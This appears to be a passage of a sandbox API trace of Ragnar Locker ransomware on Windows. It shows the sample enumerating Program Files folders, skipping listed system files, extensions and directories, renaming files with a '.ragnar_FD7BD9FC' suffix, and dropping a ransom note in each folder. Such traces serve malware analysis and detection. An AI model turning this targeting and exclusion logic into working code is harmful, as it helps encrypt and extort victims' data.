lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="ntuser.ini") returned 1 [0079.040] lstrcmpiW (lpString1="Title_mainImage-mask.png", lpString2="thumbs.db") returned 1 [0079.040] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.040] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.040] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.041] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.041] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.041] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.041] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png")) returned 0x20 [0079.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.041] CloseHandle (hObject=0xffffffff) returned 0 [0079.041] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" [0079.041] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png.ragnar_FD7BD9FC" [0079.041] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.041] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 1 [0079.041] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.041] lstrcpyW (in: lpString1=0x1eab5a, lpString2="Title_select-highlight.png" | out: lpString1="Title_select-highlight.png") returned="Title_select-highlight.png" [0079.041] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png") returned=".png" [0079.041] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0079.041] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="autorun.inf") returned 1 [0079.041] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="boot.ini") returned 1 [0079.041] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="bootfont.bin") returned 1 [0079.041] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="bootsect.bak") returned 1 [0079.041] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="bootmgr") returned 1 [0079.042] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="bootmgr.efi") returned 1 [0079.042] lstrcmpiW (lpString1="Title_select-highlight.png", lpString2="bootmgfw.efi") returned 1 [0079.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.046] CloseHandle (hObject=0xffffffff) returned 0 [0079.046] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" [0079.046] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png.ragnar_FD7BD9FC" [0079.046] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.046] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 0 [0079.046] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.046] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0079.046] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2=".") returned 1 [0079.046] lstrcmpiW (lpString1="menu_style_default_Thumbnail.png", lpString2="..") returned 1 [0079.046] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.046] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0079.046] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0079.046] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.046] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0079.046] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0079.046] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef38095, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef38095, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.046] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0079.046] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0079.046] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef5e1f2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef5e1f2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.046] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0079.046] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0079.046] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.046] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0079.046] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0079.046] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.046] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0079.046] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0079.047] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OldAge", cAlternateFileName="")) returned 1 [0079.047] lstrcmpiW (lpString1="OldAge", lpString2=".") returned 1 [0079.047] lstrcmpiW (lpString1="OldAge", lpString2="..") returned 1 [0079.047] lstrcmpiW (lpString1="OldAge", lpString2="Windows") returned -1 [0079.047] lstrcmpiW (lpString1="OldAge", lpString2="Windows.old") returned -1 [0079.047] lstrcmpiW (lpString1="OldAge", lpString2="Tor browser") returned -1 [0079.047] lstrcmpiW (lpString1="OldAge", lpString2="Internet Explorer") returned 1 [0079.047] lstrcmpiW (lpString1="OldAge", lpString2="Google") returned 1 [0079.047] lstrcmpiW (lpString1="OldAge", lpString2="Opera") returned -1 [0079.047] lstrcmpiW (lpString1="OldAge", lpString2="Opera Software") returned -1 [0079.047] lstrcmpiW (lpString1="OldAge", lpString2="Mozilla") returned 1 [0079.047] lstrcmpiW (lpString1="OldAge", lpString2="Mozilla Firefox") returned 1 [0079.047] lstrcmpiW (lpString1="OldAge", lpString2="$Recycle.Bin") returned 1 [0079.047] lstrcmpiW (lpString1="OldAge", lpString2="ProgramData") returned -1 [0079.047] lstrcmpiW (lpString1="OldAge", lpString2="All Users") returned 1 [0079.047] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.047] lstrcpyW (in: lpString1=0x1eb620, lpString2="OldAge" | out: lpString1="OldAge") returned="OldAge" [0079.047] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\" [0079.047] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\" [0079.047] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\RGNR_FD7BD9FC.txt" [0079.047] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.051] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*" [0079.051] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.051] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.051] lstrcpyW (in: lpString1=0x1ea742, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.051] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x815b7560, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x815b7560, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.051] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.051] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x815b7560, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x815b7560, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.051] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.051] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.051] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0079.051] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0079.051] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0079.051] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fce7e01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fce7e01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0079.051] lstrcmpiW (lpString1="15x15dot.png", lpString2=".") returned 1 [0079.051] lstrcmpiW (lpString1="15x15dot.png", lpString2="..") returned 1 [0079.051] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x183b, dwReserved0=0x0, dwReserved1=0x0, cFileName="decorative_rule.png", cAlternateFileName="")) returned 1 [0079.051] lstrcmpiW (lpString1="decorative_rule.png", lpString2=".") returned 1 [0079.051] lstrcmpiW (lpString1="decorative_rule.png", lpString2="..") returned 1 [0079.051] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdcc62f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdcc62f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.051] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0079.051] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0079.051] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd80375, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd80375, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.051] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0079.051] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0079.051] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda64d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fda64d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.051] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0079.051] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0079.051] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd340bb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd340bb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.051] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0079.052] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0079.052] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.052] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0079.052] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0079.052] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd5a218, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd5a218, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.052] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0079.052] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0079.052] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x815b7560, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x815b7560, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.052] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.052] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.052] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 1 [0079.052] lstrcmpiW (lpString1="vintage.png", lpString2=".") returned 1 [0079.052] lstrcmpiW (lpString1="vintage.png", lpString2="..") returned 1 [0079.052] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, 